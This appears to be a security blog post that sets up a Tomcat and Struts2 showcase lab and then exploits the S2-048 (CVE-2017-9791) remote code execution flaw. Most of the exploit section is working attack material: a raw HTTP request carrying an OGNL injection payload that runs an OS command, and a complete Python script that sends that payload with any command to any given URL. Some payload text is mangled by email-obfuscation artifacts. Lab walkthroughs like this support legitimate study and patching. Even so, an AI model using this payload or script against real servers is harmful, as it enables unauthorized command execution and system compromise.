i Setting labs and exploit Apache Struts2 S2-048 (CVE-2017-9791) – All things in moderation

Setting labs and exploit Apache Struts2 S2-048 (CVE-2017-9791)

Apache Struts 2.3.x – Struts1 Integration Remote Code Execution

A vulnerablity that possible RCE in the Struts Showcase app in the Struts 1 plugin example in Struts 2.3.x series, when using untrusted input as a part of the message in the ActionMessage class.

messages.add(“msg”, new ActionMessage(your_message));

The message (your_message) processed by the server may potentially cause a remote code execution. To fulfill its execution potential, a remote entry point is required for the message. Following the route of the vulnerable code leads to this location:

/struts2/integration/saveGangster.action

Affected Software: Struts 2.3.x with Struts 1 plugin and Struts 1 action

Seting labs on Ubuntu

The first, you need to install apache tomcat as following the instructions: https://help.ubuntu.com/lts/serverguide/tomcat.html

After install apache tomcat, Dowload struts2-showcase version 2.3.15.1 from: https://mvnrepository.com/artifact/org.apache.struts/struts2-showcase/2.3.15.1

To deploy the struts2-showcase application, simply copy the war-file into Tomcat’s “webapps” directory (/var/www/lib/tomcat7/webapps).

Let’s stop service tomcat (sudo service tomcat7 stop) and copy the struts2 application struts2.war into Tomcat’s “webapps”. Start your Tomcat. The war-file will be unzipped and deployed automatically.

cd /var/lib/tomcat7/webapps/
sudo wget http://central.maven.org/maven2/org/apache/struts/struts2-showcase/2.3.15.1/struts2-showcase-2.3.15.1.war
sudo mv struts2-showcase-2.3.15.1.war struts2.war
sudo chmod 755 struts2.war
sudo service tomcat7 restart

Go to browser and access to address: http://your_ip:8080/struts2/, the struts2-showcase application installed successfully

Exploit

The web page reveals several inputs controlled by the user, including name, age, checkbox_bustedBefore and description:

The server receives the input parameter “name” using the following code.

messages.add(“msg”, new ActionMessage(“Gangster ” + gform.getName() + ” was added”));

That code leads to the vulnerability to remote code execution as follows request:

POST /struts2/integration/saveGangster.action;jsessionid=659BB9C1FAB3D4F9C3F4561133A825F6 HTTP/1.1
Host: 192.168.126.133:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 877
Referer: http://127.0.0.1:8080/2.3.15.1-showcase/integration/editGangster
Cookie: JSESSIONID=659BB9C1FAB3D4F9C3F4561133A825F6
Connection: close
Upgrade-Insecure-Requests: 1

age=bbb
&__checkbox_bustedBefore=true
&description=1
&name=${(#szgx='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='uname+-a').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.close())}

The above request implements the command “uname -a”:

python exploit script:

#!/usr/bin/python
# Just a demo for CVE-2017-9791 S2-048
  
import requests
import urlparse
import sys 
 
def exploit(url, cmd):
    print("[+] command: %s" % cmd)
 
    payload =  "${"
    payload += "(#szgx='multipart/form-data')."
    payload += "(#[email protected]@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@[email protected]))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@[email protected]('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@[email protected]().getOutputStream()))."
    payload += "(@[email protected](#process.getInputStream(),#ros)).(#ros.close())"
    payload += "}"
 
    data = {
        "name": payload,
        "age": 1,
        "__checkbox_bustedBefore": "true",
        "description": 1
    }
    try:
        r = requests.post(url, data=data)
        print r.text
    except Exception as e:
        print str(e)
    
if __name__ == '__main__':
    if len(sys.argv) != 3:
        print("Usage: python exploit_S2-048.py  ")
        sys.exit(1)
    print('[*] exploit Apache Struts2 S2-048')
    url = urlparse.urljoin(sys.argv[1], "integration/saveGangster.action")
    cmd = sys.argv[2]
 
    exploit(url, cmd)
 
# python exploit_S2-048.py http://192.168.126.133:8080/struts2/ "uname -a"

Following is an exploit result:

Reference:

https://cwiki.apache.org/confluence/display/WW/S2-048

Leave a Reply